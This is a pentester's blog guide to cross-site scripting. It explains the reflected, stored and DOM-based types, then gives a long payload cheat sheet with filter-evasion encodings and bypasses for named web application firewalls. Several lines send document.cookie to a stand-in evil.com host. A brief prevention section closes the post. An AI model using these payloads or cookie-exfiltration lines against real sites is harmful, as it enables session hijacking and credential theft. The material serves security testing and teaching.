GIVEAWAY
Win the ultimate AI security check with a free pentest giveaway!
GIVEAWAY
Win the ultimate AI security check with a free pentest giveaway!

A Pentester’s Guide to Cross-Site Scripting (XSS)

Examine a common security vulnerability, Cross-Site Scripting (XSS).

What is a Cross-Site Scripting Attack?

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end-user. Flaws that allow these attacks to succeed are quite widespread and can occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

There are 3 types of XSS attacks:

  • Reflective XSS
  • Stored XSS
  • DOM-Based XSS

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflective attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable website, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

DOM Based XSS (also referred to in some texts as “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client-side script so that the client-side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client-side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

Another type of XSS, called Self-XSS, generally has less impact and cannot be exploitable without user interaction. It operates by tricking users into copying and pasting malicious content into their browsers’ web developer console.

What’s the Impact of XSS?

An attacker who exploits a cross-site scripting vulnerability is typically able to:

  • Impersonate or masquerade as the victim user
  • Hijack a user’s session
  • Perform unauthorized activities
  • Steal sensitive information
  • Perform phishing attacks
  • Capture the user’s login credentials.
  • Capture keystrokes
  • Deface the website.
  • Inject trojan functionality into the website.

How to Exploit XSS?

While exploiting XSS vulnerabilities, one should understand the behaviour of the application towards specific payloads. The followings can be considered a checklist before exploiting XSS vulnerability:

  • Find the blacklisted/filtered characters. You can use XSS locators for this:
'';! - "<XSS>=&{()}
  • Observe what tags are blocked by WAF and which keywords are allowed (iframe, img, body etc.)
  • Try Character Encoding (URL encoding, Double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding etc.)
  • Try XSS using HTML quote encapsulation
  • Try URL string evasion
  • Create the payload list according to the allowed keywords
  • Brute-force the application with the XSS payload list you just created

*Note: Double URL encode can be tried since the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass the XSS filter. *

Cross-Site Scripting (XSS) Cheatsheet

--------------------------------------------------------------------
XSS Locators:
'';!--"<XSS>=&{()}
--------------------------------------------------------------------
Classic Payloads:
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//
--------------------------------------------------------------------
script tag filter bypass:
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
--------------------------------------------------------------------
HTML tags:
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>
--------------------------------------------------------------------
Other tags:
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>
--------------------------------------------------------------------CharCode:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
--------------------------------------------------------------------
if the input is already in script tag:
@domain.com">user+'-alert`1`-'@domain.com
--------------------------------------------------------------------AngularJS: 




toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
--------------------------------------------------------------------
Scriptless:
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?
--------------------------------------------------------------------
Unclosed Tags:
<svg onload=alert(1)//
--------------------------------------------------------------------
DOM XSS:
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>
--------------------------------------------------------------------
Another case:
param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors
--------------------------------------------------------------------

Restrictions Bypass

--------------------------------------------------------------------
No parentheses:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
--------------------------------------------------------------------
No parentheses and no semicolons:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
--------------------------------------------------------------------
No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>
--------------------------------------------------------------------
Angle brackets HTML encoded (in an attribute):
“onmouseover=“alert(1)
‘-alert(1)-’
--------------------------------------------------------------------
If quote is escaped:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
--------------------------------------------------------------------
Embedded tab, newline, carriage return to break up XSS:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
--------------------------------------------------------------------
Other:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
--------------------------------------------------------------------

Encoding

--------------------------------------------------------------------
Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
--------------------------------------------------------------------
Hex:
<script>eval('\x61lert(1)')</script>
--------------------------------------------------------------------
HTML:
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//
--------------------------------------------------------------------
URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
--------------------------------------------------------------------
Double URL Encode:
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
--------------------------------------------------------------------
Unicode + HTML:
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
--------------------------------------------------------------------
HTML + URL:
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
--------------------------------------------------------------------

WAF Bypass

--------------------------------------------------------------------
Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>
--------------------------------------------------------------------WebKnight:
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
--------------------------------------------------------------------
F5 Big IP:
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
--------------------------------------------------------------------Barracuda WAF:
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
--------------------------------------------------------------------
PHP-IDS:
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"
--------------------------------------------------------------------
Mod-Security:
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
--------------------------------------------------------------------
Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">
--------------------------------------------------------------------
Sucuri WAF:
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
--------------------------------------------------------------------

How to Prevent It?

Filter based on patterns or regular expressions and determine what type of data the system accepts and what it does not.

  • Use secure frameworks that, by design, automatically encode content to prevent XSS. Coding the unreliable HTTP requirements data into the HTML output fields (body, attributes, JavaScript, CSS, or URL) resolves the Reflected XSS and Stored XSS.
  • Sanitize all data entry, avoiding any type of special character.
  • Accept all types of data, but escape them correctly.
  • Accept all types of data, but remove inappropriate content.
  • Accept all types of data, but transform them to an accepted data type.

For more information about remediating Cross-Site Scripting:

More Resources

Read how code review services help prevent XSS exploits. For more detailed walkthroughs, check out my Hacking How-To videos, Cross-Site Scripting (XSS) All-In-One: Part 1 and Part 2. In these sessions, I will explore how to exploit XSS using several different attack scenarios.

Cross-Site Scripting (XSS) Part 1:
Cross-Site Scripting (XSS) Part 2:

Did you find this content useful? Explore more vulnerabilities with the Vulnerability Wiki.

Back to Blog
About Busra Demir
Busra is a former Lead Cobalt Core Pentester with a passion for offensive security research, capture the flag exercises, and certifications. She has currently completed her OSCE, OSCP, and OSWP certifications. More By Busra Demir
A Pentester’s Guide to Command Injection
Get expert insights with a command injection tutorial with insights from pentesting experts at Cobalt, a Pentest as a Service (PtaaS) provider.
Blog
Dec 11, 2020